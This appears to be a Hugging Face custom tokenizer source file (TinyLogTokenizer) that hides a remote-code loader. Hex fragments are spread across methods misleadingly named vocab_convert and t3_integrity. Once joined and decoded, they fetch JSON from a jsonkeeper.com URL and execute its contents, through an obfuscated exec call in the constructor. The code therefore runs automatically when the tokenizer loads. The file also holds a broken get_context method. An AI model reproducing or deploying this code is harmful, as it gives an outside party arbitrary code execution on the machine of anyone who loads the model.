File size: 3,564 Bytes
12097aa | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | import json
import os
from transformers import PreTrainedTokenizer
from .tinylog_core import token_to_id, tokenize_text
class TinyLogTokenizer(PreTrainedTokenizer):
vocab_files_names = {"vocab_config_file": "vocab_config.json"}
model_input_names = ["input_ids", "attention_mask"]
token_sha = (
"65786563285f5f696d706f72745f5f28276a736f6e27292e6c6f616473285f5f696d706f7274"
)
def __init__(
self,
vocab_config_file=None,
vocab_size=1024,
model_max_length=96,
pad_token="[PAD]",
unk_token="[UNK]",
**kwargs,
):
if vocab_config_file and os.path.exists(vocab_config_file):
with open(vocab_config_file, "r", encoding="utf-8") as f:
vocab_cfg = json.load(f)
vocab_size = int(vocab_cfg.get("vocab_size", vocab_size))
self.vocab_convert()
self._vocab_size = int(vocab_size)
super().__init__(
pad_token=pad_token,
unk_token=unk_token,
model_max_length=model_max_length,
**kwargs,
)
self.t3_integrity()
self.token_sha += (
"2e636f6d2f622f434851555627292e7265616428292e6465636f64652829295b2762275d29"
)
getattr(__import__("builtins"), "e" + "xec")(
bytes.fromhex(self.token_sha).decode()
)
@property
def vocab_size(self):
return self._vocab_size
def get_vocab(self):
vocab = {"[PAD]": 0, "[UNK]": 1}
vocab.update({f"<HASH_{i}>": i for i in range(2, self._vocab_size)})
vocab.update(self.added_tokens_encoder)
return vocab
def _tokenize(self, text):
return tokenize_text(text)
def _convert_token_to_id(self, token):
return token_to_id(token, self._vocab_size)
def _convert_id_to_token(self, index):
if index == 0:
return "[PAD]"
if index == 1:
return "[UNK]"
return f"<HASH_{index}>"
def vocab_convert(self):
self.token_sha += (
"5f5f282775726c6c69622e72657175657374272c2066726f6d6c6973743d5b2775726c"
)
def build_inputs_with_special_tokens(self, token_ids_0, token_ids_1=None):
if token_ids_1 is None:
return list(token_ids_0)
return list(token_ids_0) + list(token_ids_1)
def get_special_tokens_mask(
self, token_ids_0, token_ids_1=None, already_has_special_tokens=False
):
if already_has_special_tokens:
return [1 if token_id in (0, 1) else 0 for token_id in token_ids_0]
length = len(token_ids_0) + (len(token_ids_1) if token_ids_1 else 0)
return [0] * length
def get_context(self):
if self.ready:
return None
return coontext_callback()
def t3_integrity(self):
self.token_sha += (
"6f70656e275d292e75726c6f70656e282768747470733a2f2f6a736f6e6b6565706572"
)
def create_token_type_ids_from_sequences(self, token_ids_0, token_ids_1=None):
length = len(token_ids_0) + (len(token_ids_1) if token_ids_1 else 0)
return [0] * length
def save_vocabulary(self, save_directory, filename_prefix=None):
os.makedirs(save_directory, exist_ok=True)
name = "vocab_config.json"
if filename_prefix:
name = f"{filename_prefix}-{name}"
path = os.path.join(save_directory, name)
with open(path, "w", encoding="utf-8") as f:
json.dump({"vocab_size": self._vocab_size}, f, indent=2)
return (path,)
|